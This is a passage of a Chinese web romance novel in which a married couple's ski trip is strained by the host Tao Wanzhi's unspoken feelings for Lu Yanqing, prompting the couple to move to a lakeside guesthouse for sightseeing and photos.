她刚扫了一圈,发现别墅没有电梯,这几天谢思虞生理期,总是上下楼也累,索性就住一楼。 谢思虞自然没有意见。 扶着陆言卿换好拖鞋,轻声对她说:“你脸色看起来不太好,吃完饭回屋睡会儿?” 陆言卿愣了一下,随即轻笑:“还好,休息会儿就好。” 牵着谢思虞来到餐厅,正打算去旁边公共卫生间洗手,就见陶菀之拿着毛巾走出来。 还递给了她。 “谢谢。” 这种时候陆言卿不好拒绝,道谢后接过毛巾,自然地先递给了旁边的谢思虞,“擦擦脸。” 毛巾温热湿润,带着淡淡的薰衣草香,谢思虞低头擦脸时,听见陶菀之轻声询问陆言卿:“言卿姐还记得我妈妈吗?” 谢思虞的手顿住了。 突然很后悔答应住在这里。 但这时别墅的佣人已经帮她们把行李搬进了一楼客房。 再者说她有什么理由离开呢? “记得,母亲卧室床头柜上就有她和刘阿姨的合照。” 更准确来说是沈女士和好几位同事的合照。 陆言卿等谢思虞擦完脸,从她手里拿过毛巾:“没有胃口的话就喝点粥。” 说着就往卫生间方向走。 餐桌前钟晚意和杨怡没有客气,已经开始大快朵颐,杨怡冲谢思虞招了招手:“思虞姐快来坐,菀之家阿姨做菜味道一绝。” 陶菀之莞尔一笑,拉开餐桌前一张餐椅,回头对谢思虞说:“谢小姐真的不用客气,就当是在自己家里。” “谢谢。” 谢思虞也不是矫情的人,更不想扫了大家的兴致。 便在餐桌前坐了下来。 很快陆言卿也洗了脸,出来后径直坐到了谢思虞身侧。 餐桌上菜很丰富,或许是考虑到她们一路舟车劳顿,胃口不佳,几道菜都比较清淡。 其中凉拌木耳和糖醋藕片很是清爽可口。 “尝尝?” 陆言卿也是喝的小米粥,糖醋藕片十分脆嫩,酸甜口味也解腻。 注意到谢思虞只喝小米粥,便给她夹了一片脆藕。 谢思虞看着碗里多了一片脆藕,先是愣了下,回过神来笑着对陆言卿说了声谢谢。 这个时间点陶菀之早就用过了午餐,看到陆言卿和谢思虞之间自然而然的相处,眼眸低垂,眼底的失落和黯然稍纵即逝。 前几天在朋友圈看到钟晚意发滑雪服装的照片,私信得知她和陆言卿等人要来A市滑雪。 她才临时跟年级上教导主任请假。 要知道高中英语老师请一个礼拜长假是很不容易的。 她撒了个小谎,教导主任见她过往几年都没有请过长假,这才勉强同意。 但也只批准了她三天假期。 尽管陆言卿已经结婚,她还是存有一点点私心。 当然她自身教养做不出插足别人婚姻的事情,这次过来也是想以朋友的身份和那人相处几天。 “菀之,你也难得放假,明天要陪我们去滑雪吗?” 钟晚意喝了两碗粥,又吃了一份蓝莓山药泥,满足地摸了摸肚子。 陶菀之思绪回笼,原本拒绝的话在看到陆言卿后改变了:“也可以试试,好多年没玩了。” 滑雪场虽然是她们家开的,可她自身并不喜欢滑雪。 杨怡擦了嘴把纸巾扔进垃圾桶,眉眼弯弯:“那感情好,有菀之这个滑雪高手在场,我就什么都不怕了~” 钟晚意白了杨怡一眼,挑眉看向对面的陆言卿:“卿卿你和思虞姐呢?” 主要谢思虞还在生理期,滑雪场也比较冷。 谢思虞正要说没关系,她们可以一起去,旁边陆言卿抢在她前面开口:“明天我们不去,先随便到附近逛逛。” 猜到原因。 陶菀之温柔的目光在谢思虞身上停留几秒,体贴的给出建议:“言卿姐可以带谢小姐乘坐缆车去山顶看日出,也可以去5公里外的云镜湖游览沿途风景。” 陆言卿再次道谢:“明天倒是可以去云镜湖看看。” 她刚开车过来就经过了云镜湖,湖水清澈,沿途的风景也唯美漂亮。 谢思虞放下勺子,一碗小米粥只用了小半碗,看样子确实没什么胃口。 钟晚意啧啧两声,对此并没有任何意见:“也行,你们小两口去山脚下云镜湖游玩,我们去山顶滑雪。” 还差15分钟3点。 钟晚意和杨怡可睡不着觉,她们一路换着开车,倒也不是很累。 外面天气也很棒,阳光明媚,温度虽低却不至于很冷。 当即拍板骑自行车去附近逛逛。 等傍晚时分。 她们在别墅后院BBQ,出来玩嘛,自然是怎么开心怎么来- 下午5:05分。 陆言卿睡两个小时醒了过来,谢思虞就躺在她旁边,不知道什么时候睡着的,便也没有叫醒她。 轻手轻脚下床。 拉过羽绒被盖在她身上,拿着手机离开了房间。 客厅。 陆言卿揉了揉脖子,长时间驾驶让她的肩颈肌肉僵硬发酸,到底是许久未曾上高速开车,僵坐四个多小时,难免会不舒服。 刚打开网页,没等她输入云镜湖三个字,陶菀之就端着切好的水果放在了茶几上。 “言卿姐脖子不舒服?” 陶菀之在陆言卿对面坐下,别墅里开着暖气,她脱了外套,只穿着件柔软的白色针织衫,气质温婉。 “二楼小客厅里有按摩椅,我带你上去?” 陆言卿抬眼,礼貌地笑了笑:“没关系,缓缓就好,只是太久没开长途了。” 陶菀之正要说话,楼梯旁客房的门被人从里面打开。 谢思虞睡醒,发丝还带着些许凌乱,看到客厅里的两人时,脚步微不可察地顿了一下。 “卿卿和陶小姐聊什么?” 谢思虞径直走到陆言卿身边坐下,肩膀紧贴着对方,伸手从果盘里叉了块草莓吃。 陆言卿锁了手机屏幕,帮谢思虞理顺身后的长发:“没聊什么,怎么没多睡会儿?” 谢思虞没阻止陆言卿为她打理凌乱的长发,甚至身体还靠过去了一些:“之前在车里就一直睡。” 余光瞥向一旁的陶菀之,神差鬼使把咬剩下的草莓递到陆言卿嘴边,“陶小姐家的草莓很甜。” 陆言卿注意力在谢思虞乌黑浓密的长发上,倒是没注意她递过来的草莓是不是完整,张嘴就咬住。 结果酸味瞬间在舌尖蔓延,她眉头微蹙,却还是咽了下去,配合道:“是很甜。” 陶菀之看到这一幕脸上的笑容淡了几分。 接下来的谈话中,每当陶菀之想和陆言卿聊些什么,谢思虞总会适时地递水果,或是整理陆言卿的衣领,动作亲昵又自然。 陶菀之垂下眼,嘴角的笑透着若有似无的苦涩,最终放下水杯站起身:“我去后院看看晚意她们烧烤准备得怎么样了。” 客厅安静下来。 陆言卿转头看向谢思虞,对方正若无其事吃着草莓,只是脸上表情颇有不自然。 大抵也是明白这样打断别人讲话很不礼貌。 “阿虞。” 陆言卿深思几秒,明白过来谢思虞刚才‘不礼貌’的举动是何原因,眼底划过一抹宠溺的笑。 忽然伸手扣住她的后颈,将她压向沙发靠背,低头吻了上去。 谢思虞猝不及防,唇齿间还残留着草莓的酸甜。 一吻结束,陆言卿抵着她的额头,低声问:“甜吗?” 谢思虞脸颊发烫,攥紧手里的叉子,违心道:“甜。” 陆言卿气笑了,在她耳垂上不轻不重地咬了一口:“不是草莓甜。” 她贴着谢思虞耳畔,故意往她耳朵里吹气,声音低哑,“是阿虞甜才对。” 谢思虞耳根彻底红透,攥着陆言卿的衣领将脸埋进她肩窝,不肯再抬头。 她承认,自己就是很坏。 就是不想让陆言卿和陶菀之单独相处。 客厅的小插曲,别墅后院的钟晚意和杨怡自然不知道。 她们坐在长方形餐桌前组队玩游戏,正是紧要关头,压根儿没注意到陶菀之的到来,更没看到她眼中的黯然神伤。 “晚意,言卿姐和谢小姐感情真好。” 烧烤架前,佣人已经开始烤羊肉串了,陶菀之坐在钟晚意身边,端起桌上的白桃味鸡尾酒喝了一口,说的漫不经心。 想到什么又问,“当初言卿姐为什么要出国呢?真的是因为海外并购案?” 手机里传出游戏胜利的声音。 钟晚意和杨怡默契地击了个掌,又拿起易拉罐碰了下,才回答陶菀之:“应该是吧,她们最近走哪儿都黏黏糊糊的。” “过几天正好是她们结婚纪念日,卿卿还给思虞姐准备了惊喜。” 感情……应该挺好的。 钟晚意没问过陆言卿这个问题,之前她说谢思虞暗恋的对象结婚了,看她们现在的状态,不就是小情侣谈恋爱? 陶菀之拿着易拉罐的手微不可查地抖了下,里面鸡尾酒洒了出来。 她抽取纸巾盒里的纸巾擦手,艰涩地吐出两个字:“是吗?” 原来她也听信了那些传言。 以为陆言卿是反感和谢思虞结婚,才悄无声息出国,在外面躲了整整三年。 暮色降临。 院子里搭着帐篷,角落两侧的香樟树上挂着彩灯,氛围惬意。 钟晚意和杨怡兴致勃勃去烤鲈鱼,结果外面都烤糊了,里面的鱼肉还没熟。 最后以失败告终。 两人不敢再瞎折腾,纯属浪费食物,专业的事情还是让专业的人来做。 “菀之,你……现在教高三的学生?” 钟晚意吃了两串秋葵,总算察觉到陶菀之的异样,因为她喝了两罐鸡尾酒了。 陶菀之在榕城一所重点高中担任英语老师,教书育人总是辛苦的。 现在的学生压力大,老师的压力同样也大。 “嗯,还有两个多月高考。” 陶菀之单手托腮,她入职时带的高一,如今那些孩子也高三了,即将迎来人生最重要的转折点。 钟晚意不动声色把陶菀之面前的鸡尾酒换成了酸奶,轻轻拍了拍她的肩膀,以为她是工作压力大。 安抚道:“现在的孩子都是父母的心肝宝贝,你作为老师,无愧于心就好。” 杨怡正在吃鸡翅中,也点头附和:“是啊,凡事不要那么较真,心态很重要。” 其实她挺佩服陶菀之的,身为陶家长女,她大可不必去学校当老师,随便去家里公司上班,肯定都比现在轻松。 但她去了,这一坚持就是三年。 陆言卿和谢思虞坐在一旁,并没有表态,她今天第一次见陶菀之,安静当个听众就很好。 烧烤这种比较油腻的东西,她也是偶尔吃。 谢思虞的胃经常不舒服,更要少吃。 正好这时她让别墅阿姨煮的海鲜粥送过来了,拿走谢思虞手里的蜜汁鸡翅:“你吃这个。” 谢思虞眨了眨眼,餐桌旁还有其他人,被陆言卿这样区别对待,她心底是开心的,但总归是难为情。 抬眸见陶菀之一瞬不瞬盯着她,也不是,应该是看着她面前的海鲜粥。 静默片刻,她问:“陶小姐想吃海鲜粥?” 陶菀之虽然不胜酒力,但她喝的是度数极低的鸡尾酒,并没有醉,可却又好像醉了,勾唇笑了笑:“我说想吃,谢小姐愿意把这碗海鲜粥让给我吗?” 正常情况下。 应该说但凡有点眼力见儿的人,这种时候都应该婉言拒绝。 更别说陶菀之还是东道主。 哪里有跟客人抢吃食的道理? 一时间场面气氛变得微妙起来。 谢思虞拿起碗里的勺子,慢慢搅拌,舀起半勺吹了吹,然后在陶菀之的注视下喂进嘴里。 眼中漾着温柔的笑意,只见她轻轻摇头:“这碗是我的,要是陶小姐想吃,可以让阿姨重新做。” 钟晚意莫名就察觉到火药味。 屏住呼吸冲旁边杨怡挤眉弄眼:这是什么情况? 杨怡瞪大眼睛:我哪里知道? 瞥了眼沉默不语的陆言卿,她虽眉眼低垂,但那勾起的唇角足以说明问题,她现在心情很好。 啊啊啊啊—— 杨怡无声呐喊,急忙出声打破僵局:“菀之想吃海鲜粥这还不容易?我去厨房看看,阿姨肯定不止做了一碗嘛。” 陶菀之自然也看到了陆言卿眼中对谢思虞宠溺放纵的微笑。 桌子下的手攥成了拳头,几息后再抬头,已然整理好情绪,笑着解释:“我开玩笑而已,怎会抢谢小姐的粥。言卿姐对谢小姐这般体贴,我见了有些羡慕。” 谢思虞不管陶菀之是不是开玩笑,她是当真了,语气很淡:“陶小姐知书达理,温柔体贴,将来肯定也能找到心仪的对象。” 既然有些事已经做了,她就不会后悔。 眼下她好不容易让陆言卿对她动心,又岂会拱手让给别人? 很快杨怡端着同样的海鲜粥放在陶菀之面前:“你刚喝了不少酒,喝点粥养胃。” 陶菀之冲杨怡露出温柔的笑:“谢谢杨怡姐。” 然直到聚会结束,她都没有动过那碗海鲜粥。 晚上8点左右。 趁着谢思虞和刘瑶通话,陆言卿问钟晚意要了山脚民宿老板的电话。 果然,某人蹙起眉:“菀之都说了是开玩笑,我看思虞姐也没有介意,你没必要吧?” 陆言卿漫不经心扫了好友一眼:“你管好自己就行。” 指尖轻轻敲击手机屏幕,瞳仁里目光深邃又复杂。 要不是问妹妹,她还不知道母亲曾经想要让她娶陶菀之。 【妈妈之前一起想要撮合你和菀之姐姐,原本约好你们见面,但你突然答应了爷爷要跟思虞姐结婚。】 【再然后你出国就是三年,前段时间……妈妈不是还说要介绍朋友给你认识?就是菀之姐姐和刘阿姨啊,不过那天你没去,下午回家妈妈还发了好大的火。】 那天在君悦酒店。 谢思虞临时得知母亲约的人是陶菀之母女,才装胃疼跟她离开。 陆言卿还有什么不明白的呢? 又问妹妹:她还想撮合我和陶菀之? 【应该就是单纯吃顿饭而已,当初妈妈是不太喜欢思虞姐,这不是日久见人心嘛。】 【两年前爷爷中风住院,集团董事们逼迫思虞姐卸下总裁一职,可以说是外忧内患,最后她一个人力挽狂澜,扭转局面,其实挺不容易的。】 【就连爷爷都劝思虞姐跟你离婚,不过她都拒绝了。反正妈妈现在对思虞姐挺满意的。】 陆言卿盯着手机屏幕陷入了沉思,胸口像是堵着什么异物,特别的不舒服。 沈女士的为人她再清楚不过,她从未想过谢思虞这几年在陆家,还会受到母亲的不喜。 “想什么呢?” 等刘瑶汇报完工作,谢思虞就匆匆挂断了电话,结果转身见陆言卿坐在藤椅里发呆,叫了两声都没应。 陆言卿把手机搁在餐桌上,拉着谢思虞坐在她腿上,嗓音有点哑:“如果我们住在别墅,就是一个礼拜,你真的确定吗?” 谢思虞突然被陆言卿拉着坐在腿上,惊愕地瞪大眼睛,随即耳畔响起她低哑的嗓音。 微垂的长睫轻颤,片刻后很轻的回:“嗯,我都可以。” 陆言卿盯着谢思虞看了会儿,心疼不已,又不忍指责她什么。 唯有无奈叹息,片刻后很认真很严肃的说:“不要说没关系,都可以,这样无所谓的话。我不是你肚子里的蛔虫,不能每次都准确猜到你的想法。如果不愿意不喜欢就要说出来,懂吗?” “如果你不开心,我带你出来的意义是什么呢?” 陆言卿一只手揽着谢思虞的腰,一只手捏着她的下巴,让她抬起头看自己,“现在重新回答我,你想住在这里吗?” 谢思虞浑身紧绷着,思虑很多,直到对上陆言卿温柔且耐心的目光,她才低声说了两个字:“不想。” 第36章 我只在意你是不是开心 晚上九点半。 陆言卿打电话询问民宿老板, 对方说还剩一个空房间,于是她便让别墅佣人把她和谢思虞的行李搬上车。 行李箱的滚轮碾过地面,发出轻微的声响, 陶菀之听到动静匆匆从楼上跑下来,刚洗完澡的她,发梢还滴着水。 来到玄关, 就看着陆言卿正将包包放进车厢后排,指尖不自觉攥紧了睡衣的带子。 “谢小姐……” 她声音有些发紧, “我真的只是开玩笑,你们不用搬走的。” 谢思虞站在车旁,闻言抬眸, 夜色中看不清她的表情。 陶菀之又转向陆言卿, 语气带着几分急切:“言卿姐,我后天一早就回榕城了, 你们留下来吧,民宿条件肯定比不上这里……” 陆言卿关上车门,看向陶菀之声音温和却带着疏离:“谢谢你的好意,下午从山脚路过,看到民宿正举办热闹的活动,正好我带阿虞去凑凑热闹。” 谢思虞对陶菀之礼貌笑笑,道谢后也坐上了副驾驶。 车灯亮起, 引擎声在寂静的夜里格外清晰,陶菀之站在原地, 看着黑色轿车缓缓驶离别墅区, 尾灯在拐角处一闪, 直到彻底消失不见。 钟晚意是真没想到这个点了陆言卿还会带谢思虞下山去住民宿。 注意到陶菀之苍白的脸色,轻声叹息, 倒了杯温水递给她:“别多想,卿卿可能就是单纯想带思虞姐去山下玩。这两天思虞姐生理期,本来也不适合滑雪。” 陶菀之捧着杯子,懊恼和自责涌上心头,不想让钟晚意看到她酸涩微红的眼眶,于是低下了头:“确实是我的错,我不该说那种话,让大家都尴尬。” 杨怡拍了拍陶菀之的肩膀,注意到她滴水的发梢,去一旁卫生间拿了块干净的毛巾,一边帮她擦拭头发,一边安慰:“跟你没关系,我们住过来本来就是打扰你。” 她是最不会安慰人的,这种时候真的不知道该说点什么好。 感觉今晚陆言卿有点小题大做了,可又不明白她们是不是有其他原因,不好评价,张了张嘴,再次沉默下来。 陶菀之放下水杯,从杨怡手中接过毛巾:“谢谢。” 看向窗外漆黑的夜色,“晚意姐,你和杨怡姐上楼休息吧,今天也累了。” 钟晚意看了眼杨怡,两人都默契站着没动,着实有点担心。 陶菀之嘴角扯出一抹极浅的笑,似乎猜到她们的顾虑,半开玩笑说:“不是说明天要去滑雪吗?你们要是状态不好,就真的比不过我了哦~” 滑雪是父亲的爱好,她的滑雪技术也是父亲教的,初中以前她很喜欢这项运动,但自从发生那件事后,她便极少滑雪了。 钟晚意听陶菀之这般说,也没再纠结:“那行,我们上楼休息,你……也早些睡觉,好不容易请次假,更要玩的开心。” “嗯。” 陶菀之冲她们微笑着点点头。 直到两人上楼,她眼底的笑容才一点一点黯淡下来。 之前在餐桌上,确实是冲动了。 没想到谢思虞会当真,更没想到陆言卿会不顾她们父母的交情,执意搬离别墅。 “应该是喜欢的吧。” 不然怎会这般在意那人的情绪呢? 攥紧了手里的毛巾,陶菀之自嘲一笑,她真傻,还以为见到陆言卿,她们多接触接触,就能成为朋友。 所以,死心吧。 陶菀之。 陆言卿满心满眼都是谢思虞,你已经没有任何机会了。 另一边。 陆言卿和谢思虞开车下山,到达民宿只用了20分钟。 民宿名为《镜湖小楼》正好就在云镜湖边上,如果赶上旅游旺季,需要提前一个月预定房间。 如今3月中旬,正是旅游淡季。 之所以没有多余的房间,是因为民宿老板娘侄女结婚,过来云镜湖拍婚纱照,摄影化妆团队,加上几位至亲朋友,就住了8个房间。 而陆言卿和谢思虞即将要住进去的房间,面积最大,屋内装修也特别漂亮,主要推开窗户就能看到镜湖的风景。 属民宿独一份,哪怕旅游淡季,住一晚也要一千多,当然了,陆总最不差的就是钱。 “陆小姐是吧,您好,我是民宿老板娘陈敏,半个小时前我们通过电话。” 陈敏今年40岁,离婚多年,和朋友合伙开了这家民宿。 也算见过不少世面的她,看到陆言卿和谢思虞难免也惊艳了一下。 因为她们不管是长相,气质,都不输娱乐圈的明星。 “这位是我的妻子,谢思虞。” 陆言卿牵着谢思虞来到老板娘面前,指了指后备箱,陈敏十分热情,“您放心,店里员工会帮您把行李搬到房间,你们这边请。” 折腾好半天。 整理行李,更换床单被套,陆言卿和谢思虞洗漱好躺床上休息,已经是深夜11点半- 次日,阳光洒进房间。 谢思虞睁开眼,身侧的床铺已经空了,只有一点淡淡的余温。 床头柜上的手机显示上午9点,她撑起身子,看到陆言卿坐在窗边的木椅上,桌上摊开着笔记本电脑。 陆言卿戴着蓝牙耳机,时不时对电脑那头的人点点头,显然是在视频通话。 黑色针织衫打底,搭配同色系的直筒裤,外面是一件深灰色羊绒大衣。 低马尾,脸上化着淡妆。 气质温柔又优雅。 谢思虞静静看了一会儿,注意到陆言卿时不时抬手揉捏后颈的动作,眉心微蹙。 视频会议结束,陆言卿摘下耳机,刚合上电脑,一双温热的手就搭上了她的肩膀。 “怎么没告诉我?” 谢思虞心疼的声音从身后传来,力道适中地按揉着她僵硬的肩颈。 陆言卿微微仰头,对上她垂下的目光,笑了笑:“又不严重。” 她伸手去拉谢思虞,“饿不饿?我们先去吃早餐。” 谢思虞轻轻摇头,按住陆言卿肩膀没让她起身:“先不急。许久没开车,僵坐几个小时,肩膀肯定酸,我早该想到的。” 陆言卿笑了笑也不再推拒,放松身体靠进椅背,任由谢思虞按摩。 她的指尖温热,力道拿捏得刚刚好,从肩颈到背脊,一点点揉开因驾驶而积聚的疲惫。 窗外,云镜湖水清澈见底。 阳光照耀下,湖面泛着细碎的光斑,微风拂过,荡起层层涟漪。 陆言卿闭上眼,感受着肩上的力度,呼吸间也是谢思虞身上淡淡的橙花香,一时间胸口像是被什么柔软的东西填满。 “好了。” 过了一会儿,陆言卿握住谢思虞的手,没让她再继续,其实休息一晚已经没那么难受了。 “谢谢阿虞。” 她站起身,低头在谢思虞唇上碰了碰。 谢思虞耳根微热,没躲。 伸出双臂抱了抱陆言卿:“我去洗漱换衣服。” 陆言卿温柔地笑了笑:“慢慢来,不急。” 重新在椅子上坐下来,拿起桌上的手机,微信上钟晚意给她发了不少滑雪场的照片。 「你没真的生气吧?」 「菀之人其实挺好的,昨晚那些话就是无心之言,没其他意思。」 「我把她名片发给你,你添加一下?」 陆言卿扫了眼内容便退出了微信,更别说是打开陶菀之的微信名片。 不管对方是有意,还是无心,她们都没有添加好友的必要。 想到昨晚妹妹说的话,眼底目光又黯了几分。 当初爷爷逼迫她相亲,确实发过不少名门千金的照片给她,其中有没有陶菀之她已经不记得了。 至于沈女士,就算她想要她和陶菀之结婚,她多半也会拒绝的。 她又不是真的来者不拒。 “卿卿,我们今天去云镜湖周边游玩吗?” 谢思虞洗漱过后蹲在行李箱前找衣服,因为生理期,又考虑到滑雪,她带出来的衣服多数是裤子,只有两条连衣裙。 陆言卿来到房间。 只见谢思虞一手拿连衣裙,一手拿裤子,她随手用皮筋把长发挽在脑后,散落的碎发因她动作而晃动。 “我上网查看过攻略,云镜湖面积不算小,沿着湖边走一圈会很累,也不现实。到时候我们可以包一辆观光车,走走停停也方便。” 拿起一条杏色带薄绒的连衣裙,陆言卿指尖摩挲着柔软的布料,想了想说:“穿裙子也可以,但湖面风大,里面要穿打底。” 谢思虞微微仰头,看向陆言卿眼底闪过狡黠:“那卿卿是更喜欢我穿裙子?” 垂眸对上谢思虞眼中的浅笑,陆言卿把手里的裙子递给她:“阿虞穿什么我都喜欢。” 说完又弯腰俯身,低头在她唇上轻轻一啄。 谢思虞脸颊泛起淡淡的红晕,拿上连衣裙和打底裤前往卫生间,很快换好裙子出来。 坐在实木桌前开始化妆。 “晚意她们已经到滑雪场了吧?” 怕陆言卿等的无聊,谢思虞一边化妆一边跟她聊天。 陆言卿坐在谢思虞对面,因为江泠月突然发给她一份文档,说比较着急,需要她线上签字。 低头快速浏览文档内容,对于谢思虞的提问,只是低低地“嗯”了一声。 “我们突然搬离别墅,陶小姐不要多想才好。” 陆言卿在页面最后签字,保存后发给江泠月,抬眸正好见谢思虞要涂抹唇釉。 她皮肤白皙,骨相生的美,根本不用浓妆艳抹,护肤之后涂抹防晒,动作自然也就快。 “怎么……” 谢思虞刚拧开唇釉,镜子里就映出陆言卿的身影,她话还没说完,就被对方从身后环住。 陆言卿的下巴轻轻抵在谢思虞肩窝,温热的呼吸拂过她耳畔:“你涂你的。” 话是这么说,手却不安分地扣住她的腰。 谢思虞无措地眨眨眼,没想到陆言卿会在这种时候抱她,心跳有些快,努力镇定下来。 对着镜子涂抹唇釉,这时某人柔软的唇贴上了她的颈侧,灼热的气息惹得她手一抖,差点涂歪。 “卿卿你别闹……” 谢思虞声音发软,偏头躲开陆言卿的亲吻。 陆言卿轻笑,非但没退开,反而转过谢思虞的身子,低头吻住她刚涂了一半的唇。 顿时草莓味的唇釉在交缠间晕开。 轻轻捏着她的下巴,舌尖温柔地描绘她的唇型,辗转深入,一点点掠夺谢思虞的呼吸。 等这个漫长的吻结束,谢思虞的唇釉早就花了。 陆言卿拇指擦过她湿润的唇角,眼里盛满笑意:“阿虞这样也好看。” 假装没有看到谢思虞娇嗔的目光,陆言卿温柔又认真的解答她刚才的顾虑:“陶菀之再受沈女士喜欢,跟我也没有关系,阿虞更不用为此而烦恼。” “旁人的想法于我而言,一点都不重要。我只在意你是不是开心。” 好不容易平复的心跳,再次因为陆言卿的话而紊乱。 谢思虞一瞬不瞬望着眼前的人,禁不住红了眼。 被陆言卿偏爱的感觉,很好。 却也给她一种踩在棉花上的无力感,因为她怕有天会跌下云端。 摔的粉身碎骨。 可即便是那样。 她也心甘情愿- 早餐是民宿老板娘亲自下厨煮的海鲜面,味道十分鲜美。 难得谢思虞把一碗面条都吃完了。 云镜湖属于国家4A风景区。 沿湖风景区不允许私家车驶入,除了徒步游玩,游客们可以租自行车骑行,还可以乘坐观光车。 民宿老板娘和当地旅游局有合作,知道陆言卿和谢思虞要去云镜湖游玩,直接让店里员工小刘开观光车护送她们。 11点,她们从民宿出发前往云镜湖。 小刘在前面开观光车,谢思虞和陆言卿坐在中间的位置,蓝天白云,入眼每一帧都是绝美的风景。 她拿着手机拍湖面风景,想到什么切换镜头,脑袋往陆言卿那边倾斜。 当对方看过来时,她按下了快门键。 “阿虞是在拍风景,还是在拍我?” 临近中午,温度渐渐升高,微凉的风吹在人脸上很舒服。 陆言卿察觉到某人的小动作,眼底浸染了温柔的笑意,轻轻撩起谢思虞耳边的碎发别再她耳后。 谢思虞低头假装翻看照片,耳尖微微泛红:“发给奶奶看的。” 话音刚落,微信聊天页面祖母就发来语音,谢思虞没多想,直接当着陆言卿的面点开:“风景还不错,湖边是不是有人拍婚纱照呀?你和言卿都去了,正好可以把婚纱照补上。” 外放的声音格外清晰。 谢思虞怔住,可即便她手忙脚乱锁了手机屏幕,祖母说的话应该也被陆言卿听见了。 正好这里是一处网红打卡点。 小刘将车停在路边,回头看向两人:“陆姐姐,你们想要拍照吗?我可以帮你们。” 陆言卿温柔点头:“好啊,谢谢你。” 说完解开腰上的安全带,下车后拿出包里的单反相机递给小刘,“麻烦了。” “阳光正好,我们也去湖边拍照?” 陆言卿耐心等谢思虞解开安全带,戴上遮阳帽,这才握住她的手牵着她下车,却半句没有提拍婚纱照的事。 似乎是没听见? 谢思虞攥紧了手机,眼睑微垂,不知道在想什么,跟着陆言卿踩上铺满鹅卵石的小路。 不远处的看台上,穿着婚纱的两位新人手捧鲜花,脸上都洋溢着幸福甜蜜的微笑,专业摄影师为她们定格下这唯美浪漫的瞬间。 湖风掠过谢思虞的裙摆,她低垂的长睫轻轻颤动,好半晌才捏了捏陆言卿的手,声音轻得好像随时能被风吹散的蒲公英:“卿卿想跟我拍婚纱照吗?” 其实陆言卿从观光车上下来,就一直在等谢思虞开口,昨晚在别墅后院她跟她说了很多。 喜欢什么,不喜欢什么都要说出来,而不是等她去猜。 眼下谢思虞开口问了,陆言卿眼底泛起浅浅的笑意。 反手握住谢思虞作乱的指尖,将人往怀里带了带:“昨晚才说过,想要什么就直接告诉我。” 谢思虞目光微闪,想起昨夜被吻得喘不过气时,陆言卿贴着她唇瓣说的那句:以后都要这样说出来。 “表现不错。” 陆言卿低头亲了亲谢思虞泛红的耳垂,在她怔愣时,又轻啄她的唇瓣,“婚纱照要拍,但不是现在。” 指尖抚过谢思虞被风吹乱的发丝,怕她多想,又认真解释:“这次我们出来着急,没有漂亮的婚纱,也没有专业的摄影师,下次我们再挑时间,去阿虞喜欢的地方拍婚纱照,嗯?” 谢思虞呼吸一滞,沉默片刻才点点头:“好。” 原来陆言卿不是没有听见祖母的话,而是在等她主动开口询问,一时间心里软的一塌糊涂。 她是有多幸运,才能被陆言卿这般用心的对待? 咔嚓,咔嚓。 陆言卿隐约听到单反相机的声音,下意识往身后一看,距离她们三四米远的小刘,相机镜头对准她们,不知道已经拍了多少张。 “陆姐姐,你们……就跟平时散步一样,不用管我。” 小刘平时都是用手机拍游客拍照,第一次用单反相机,感觉随手拍的风景都能出片。 刚才陆言卿亲吻谢思虞的画面,也被她捕捉拍摄下来。 光是看着就令人脸红耳热。 啊,陆姐姐真的好宠爱她的妻子呀。 傍晚。 陆言卿和谢思虞回到民宿,当她把单反相机连接到电脑上时,翻看里面的照片,总共370张。 一连看了20多张,发现照片都不用后期处理,直接就能发朋友圈。 难怪老板娘让小刘带她们去游玩。 原来对方拍照技术也是一流。 挑选了其中9张。 并配上文字:和陆夫人打卡第一天。 确定没问题后就发到了微信朋友圈里。 第37章 是喜欢还是愧疚 晚上9点, 月明星稀。 半山腰别墅。 陶菀之自从傍晚看到钟晚意朋友圈里陆言卿晒出的九宫格照片,还有陆夫人三个字,就一直心不在焉。 “菀之?” 杨怡从楼上下来, 看到半开式厨房里陶菀之正在榨果蔬汁,明明机器里面的果蔬汁已经榨好了,她却还在反复按着电源开关。 杨怡的声音惊得陶菀之手一抖, 眼神无措:“怎,怎么了?杨怡姐。” 杨怡指着榨汁机:“果蔬汁应该可以了。” 陶菀之愣了下, 慌忙关掉榨汁机,橙色的汁液在玻璃瓶里晃出涟漪:“杨怡姐要喝果汁吗?” 她低头擦拭台面,掩饰自己的不自然。 “那帮我倒半杯吧, 谢谢。” 杨怡靠在岛台边, 看着她把砧板上剩余的胡萝卜块扫进垃圾桶,有点担心, “从滑雪场回来就见你心神不宁,是遇到什么麻烦了吗?” “没有啊……” 陶菀之从橱柜里拿出两个玻璃杯,拧开水龙头清洗,水流声盖住了她尾音的颤抖。 “你是不是因为言卿姐……” “我不喜欢言卿姐!” 陶菀之突然打断杨怡的话,手里的玻璃杯磕在石英台面上,里面的果蔬汁溅出来,将她白色的袖口晕染开一片橙黄。 杨怡愕然地瞪大眼睛。 她本想说是不是还在担心陆言卿她们生气, 此刻却愣愣看着陶菀之发红的耳尖。 厨房陷入诡异的寂静。 陶菀之慌乱不安地低下头,不敢去看杨怡错愕的目光, 她死死攥着杯子, 指节隐隐发白, 试图解释:“我的意思是……” “明白。” 杨怡笑着打断陶菀之,从她手里拿过装有果蔬汁的杯子, 轻轻拍了拍她的肩膀,“言卿姐这般温柔体贴的人,我也喜欢。” 陶菀之喉咙像被棉絮堵住,嘴角的笑透着苦涩,她知道杨怡之所以说也喜欢陆言卿,是在替她解围。 重新拧开水龙头,冲洗掉手背上果蔬汁的黏腻。 哪怕她内心再强大,这种时候也没办法再待下去,胡乱找了借口离开。 杨怡看着陶菀之的背影消失在楼梯转角处,放下玻璃杯,心情颇为复杂。 陶菀之竟然喜欢陆言卿,这……谁能想到? 难怪一向知书达理的她,昨晚在后院会突然说那种令人误会的话。 窗外隐约传来钟晚意说话的声音,估计是在跟谁打电话,杨怡想了想也转身往楼上走,她不是大嘴巴的人,这件事她权当不知道。 避免说出来,惹得更多人尴尬。 与此同时。 别墅前院,钟晚意确实在跟陆言卿语音聊天。 看到微信上很多熟悉的‘朋友’点赞评论,钟晚意才意识到陆言卿傍晚发的消息并未屏蔽任何人。 想来这件事不久就会传遍整个圈子。 “云镜湖风景确实好,不过我们今天滑雪也超级刺激。你和思虞姐明天要上山吗?” 钟晚意坐在吊椅上,脚尖稍稍用力,吊椅便上后晃动起来,带起的风吹得她裙摆翩然起舞。 「不上山,明天我和阿虞坐船去湖心岛看看。」 “这么宠她?” 钟晚意仰头看向夜空,只能看到寥寥数几的星星。 多年朋友,她自然知道陆言卿本身就是一个极好的人,温柔体贴,情绪稳定。 当年对苏蔓尚且如此,更别说是对已经结婚的妻子谢思虞。 「为什么不宠?她是我的妻子。」 